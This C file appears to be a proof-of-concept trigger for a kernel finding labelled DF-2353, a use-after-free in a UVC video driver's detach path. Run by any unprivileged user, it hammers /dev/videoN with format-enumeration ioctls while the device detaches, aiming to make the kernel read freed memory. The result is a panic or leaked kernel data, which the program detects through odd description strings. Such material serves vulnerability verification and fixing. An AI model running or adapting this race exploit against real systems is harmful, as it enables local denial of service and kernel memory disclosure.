DF-2353 / trigger_race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 | /* * trigger_race.c -- unprivileged hammer for DF-2353 (detach-order UAF). * * Run as a plain local user (any uid) while the rig performs * reg/detach cycles. Each iteration opens /dev/videoN (created by the * production uvc_v4l2_reg(), mode 0666) and issues VIDIOC_ENUM_FMT / * VIDIOC_ENUM_FRAMESIZES, the exact handlers named in the finding * (they read video->data->fmt with no lock held): * uvc_v4l2_ioctl (uvc_v4l2.c:548/556) * -> uvc_drv_enum_v4l2_fmt (uvc_drv.c:826-833: v->data->nfmt, * v->data->fmt, strlcpy(fmt->name)) * -> uvc_drv_enum_v4l2_framesizes (uvc_drv.c:799-816) * * If a descriptor read lands after kfree(sc->data->fmt) but before the * cdev stops dispatching (destroy_dev is async: devfs_core.c:757), the * kernel reads freed memory -> page fault panic, or stale/garbage * description strings (observable info leak). * * Structs mirror sys/contrib/v4l/videodev2.h exactly. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <time.h> #include <stdint.h> #include <sys/ioctl.h> struct v4l2_fmtdesc { uint32_t index; uint32_t type; /* enum v4l2_buf_type */ uint32_t flags; uint8_t description[32]; uint32_t pixelformat; uint32_t reserved[4]; }; struct v4l2_frmsize_discrete { uint32_t width; uint32_t height; }; struct v4l2_frmsizeenum { uint32_t index; uint32_t pixel_format; uint32_t type; union { struct v4l2_frmsize_discrete discrete; uint8_t pad[200]; } x; uint32_t reserved[2]; }; #define V4L2_BUF_TYPE_VIDEO_CAPTURE 1 #define V4L2_PIX_FMT_MJPEG ((uint32_t)'M' | ((uint32_t)'J' << 8) | \ ((uint32_t)'P' << 16) | ((uint32_t)'G' << 24)) #define VIDIOC_ENUM_FMT _IOWR('V', 2, struct v4l2_fmtdesc) #define VIDIOC_ENUM_FRAMESIZES _IOWR('V', 74, struct v4l2_frmsizeenum) int main(int argc, char **argv) { int seconds = (argc > 1) ? atoi(argv[1]) : 60; struct v4l2_fmtdesc fd_; struct v4l2_frmsizeenum fs; struct timespec ts0, ts; char path[32]; long iters = 0, ok = 0, desc_odd = 0; int i, fd; printf("trigger_race: uid=%d, hammering for %ds\n", getuid(), seconds); fflush(stdout); clock_gettime(CLOCK_MONOTONIC, &ts0); for (;;) { clock_gettime(CLOCK_MONOTONIC, &ts); if ((ts.tv_sec - ts0.tv_sec) >= seconds) break; for (i = 0; i < 8; i++) { snprintf(path, sizeof(path), "/dev/video%d", i); fd = open(path, O_RDWR | O_NONBLOCK); if (fd < 0) continue; memset(&fd_, 0, sizeof(fd_)); fd_.index = 0; fd_.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; if (ioctl(fd, VIDIOC_ENUM_FMT, &fd_) == 0) { ok++; /* the parsed production value is "MJPEG"; * anything else came out of freed memory */ if (strcmp((char *)fd_.description, "MJPEG") != 0) { desc_odd++; printf("trigger_race: ODD description " "\"%.32s\" (freed-memory read)\n", (char *)fd_.description); fflush(stdout); } } memset(&fs, 0, sizeof(fs)); fs.index = 0; fs.pixel_format = V4L2_PIX_FMT_MJPEG; ioctl(fd, VIDIOC_ENUM_FRAMESIZES, &fs); memset(&fd_, 0, sizeof(fd_)); fd_.index = 0; fd_.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; ioctl(fd, VIDIOC_ENUM_FMT, &fd_); close(fd); iters++; } } printf("trigger_race: done: %ld iterations, %ld ENUM_FMT ok, " "%ld odd descriptions\n", iters, ok, desc_odd); return 0; } |